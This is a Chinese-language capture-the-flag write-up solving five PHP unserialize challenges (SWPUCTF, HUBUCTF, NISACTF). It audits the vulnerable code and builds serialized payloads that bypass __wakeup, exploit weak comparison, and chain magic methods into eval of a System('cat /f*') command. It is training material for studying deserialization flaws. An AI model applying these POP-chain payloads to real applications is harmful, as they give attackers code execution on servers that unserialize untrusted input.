1.[SWPUCTF 2021 新生赛]ez_unserialize
打开页面后什么都没有,先扫描目录
可以看到扫描出了robots.txt,访问该文件。
可以看到是回显出了一个php网页,再去访问。
这个页面的话是给了一页代码。
进行代码审计,
error_reporting(0); :关闭PHP错误报告。
how_source("cl45s.php"); :显示这个文件里面的内容。
然后class创建了一个类wllm,该类下面有admin,passwd两个公共属性,以及两个魔法函数construct和destruct。一个是初始化admin和passwd,另一个是对它两个的值进行判断,如果admin ===admin,passwd === ctf那么就会输出flag。
我们可以通过实例化这个类,分别给admin和passwd赋值,然后使用序列化函数进行序列化操作,最后通过p参数进行上传访问。
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$a=new wllm();
$a->admin="admin";
$a->passwd="ctf";
$a=serialize($a);
echo $a;
?>
运行这串代码就会得到O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}这一串,然后传参就可以得到flag。
2.[SWPUCTF 2021 新生赛]no_wakeup
打开页面,再点击???就可以看到一页反序列化代码。
代码审计,新建了HaHaHa这个类,类下面有admin,passwd两个属性,construct,wakeup,destruct三个魔术方法。
construct,构造函数,新建了admin和passwd;
wakeup,在反序列化之前会触发,如果它触发了就会把passwd加密,这个shal是加密函数且不可逆;很显然我们需要绕过wakeup,只用在序列化字符串中表示对象属性个数的值比真实的属性个数值大的时候,就会绕过wakeup魔术方法;
destruct,析构函数,有一个if判断语句,如果admin=admin,passwd=wllm,会输出flag。
构造代码:
<?php
class HaHaHa{
public $admin;
public $passwd;
}
$a=new HaHaHa;
$a->admin="admin";
$a->passwd="wllm";
$b=serialize($a);
echo $b;
?>
[点击并拖拽以移动]
运行结果: O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
只用改成 O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}就可以把wakeup绕过。得到flag。
3.[SWPUCTF 2021 新生赛]pop
点进去是一串代码,进行代码审计。
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
有三个类:w44m,w22m,w33m。
w44m下有一个私有变量admin和一个保护变量passwd,一个Getflag函数,该函数判断了如果admin='w44m',passwd='08067',那么就会输出flag。
w22m下有一个公有变量w00m,一个魔术方法destruct,该函数会在$一个类后,该对象销毁的时候触发,也可以在反序列化结束之后触发,因为反序列化得到的是一个对象,在之后对象会销毁,触发该函数,如果该函数触发,会输出w00m。
w33m下有两个公有变量:w00m和w222m。一个魔术方法toString,该魔术方法会在把对象当成字符串调用时触发。
构建代码:
<?php
class w44m{
private $admin = 'w44m';
protected $passwd = '08067';
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a = new w22m();
$b = new w33m();
$c = new w44m();
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
$d=serialize($a);
echo $d;
?>
输出:
这里要注意调用私有变量要加空格号,也就是%00;而保护变量要加%00*%00。
所有把它改为:
O:4:"w22m":1:{s:4:"w00m";O:4:"w33m":2:{s:4:"w00m";O:4:"w44m":2:{s:11:"%00w44m%00admin";s:4:"w44m";s:9:"%00*%00passwd";s:5:"08067";}s:4:"w22m";s:7:"Getflag";}}
传参?w00m=就可以得到flag。
解释一下代码的构造:
$a=new w22m;
$b=new w33m;
$c=new w44m;
实例化了三个对象:$a,$b,$c
$a->w00m=$b;把对象a里面的属性w00m变为对象b,也就是说对象a里面的w00m现在是一个对象,而魔术方法destruct触发后会echo $this->w00m,echo是输出函数,输出的是字符串,当echo输出w00m这个对象时(把对象当作字符串调用),就会触发toString这个魔术方法。
我们已经触发了toString这个魔术方法,
public function __toString(){
$this->w00m->{$this->w22m}();}
这个魔术方法在这里就会调用w00m,w22m。所有只用把w00m成为$c,把w22m成为函数Getflag,这个摩术方法实际上调用的就是getflag函数,就会输出flag,所有构建:
$b->w00m=$c;
$b->w22m='Getflag'
最后再序列化$a就可以了。
4.[HUBUCTF 2022 新生赛]checkin
给了一串代码,进行代码审计
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
?>
username or password error!
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
如果满足弱比较的条件就会返回我们flag。当username=0或true,password=0或true时弱比较成立。
直接手写构建:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
或a:2:{s:8:"username";i:0;s:8:"password";i:0;}
5. [NISACTF 2022]babyserialize
进行代码审计,
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
包含waf.php;
创建了四个类:NISA,TianXiWei,
Ilovetxw,
four
NISA下有两个公有变量$fun和$txw4ever,其中$fun="show_me_flag"。有四个魔术方法wakeup,call,toString,invoke。其中wakeup下有hint函数,必须绕过该函数,弱比较类型,只用在构造代码时让fun=666,等任何数组就可以绕过,因为你在反序列化的时候你的值是可以控制的,相当于你给fun赋值为666了,理所当然的不能和fun的原值相等。
TianXiWei下有ext和x两个公有变量,有wakeup魔术方法。
Ilovetxw下有huang和su两个公有变量,call和toString两个魔术方法。
four下有a这个公有变量和fun私有变量,set魔术方法。
get传参ser。
先找危险函数,就是可以利用后输出flag的函数。可以找到@eval函数,参数是txw4ever,可以用System("cat /f*")命令来获取flag。因为它最后面的注释有正则匹配,我们就绕过一下。想要触发eval函数就必须先触发invoke魔术方法,invoke魔术方法的触发条件是把对象当成函数调用。
找到return $bb();然而$bb=$this->su,把su赋值给bb,这就有可乘之机了,只要给su赋值为对象,那么bb就会成为对象。如果su等于NISA,那么bb也会等于NISA,也就成为了一个对象。return $bb();这句代码就把对象当成函数调用了,就可以触发invoke魔术方法。
但前提条件是触发toString魔术方法,toString魔术方法的触发条件是把对象当成字符串调用。找到 strtolower函数,这个函数会把字符串转换成小写字母。
当a为一个对象的时候就会触发toString魔术方法,令a为Ilovetxw,就会触发该魔术方法;要触发 strtolower函数的话fun="sixsixsix",还要触发set魔术方法,它的触发条件是给不存在的成员属性赋值,把huang赋值为four,four中不含有fun,就会触发set魔术方法。最后要触发call魔术方法,该魔术方法在调用一个不存在的方法时会触发。wakeup魔术方法下面的ext赋值为Ilovetxw,触发call魔术方法,最后触发wakeup魔术方法。
整理一下构造代码:
<?php
include "waf.php";
class NISA{
public $fun="666";
public $txw4ever='System("cat /f*");';
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun="sixsixsix";
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
$a=new NISA();
$b=new TianXiWei();
$c=new Ilovetxw();
$d=new four();
$c->su=$a;
$d->a=$c;
$c->huang=$d;
$b->ext=$c;
echo serialize($b)
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
输出为:
O:9:"TianXiWei":2:{s:3:"ext";O:8:"Ilovetxw":2:{s:5:"huang";O:4:"four":2:{s:1:"a";r:2;s:9:"%00four%00fun";s:9:"sixsixsix";}s:2:"su";O:4:"NISA":2:{s:3:"fun";s:3:"666";s:8:"txw4ever";s:18:"System("cat /f*");";}}s:1:"x";N;}
four中的fun是私有属性,记得加%00,当然你也可以把输出语句写成
echo urlencode(serialize($b));
编个码就不用改了。
提交看看,成功得到flag。
这个题用到倒推法,非常实用,适用于许多类似的题。还有弱比较,正则匹配绕过。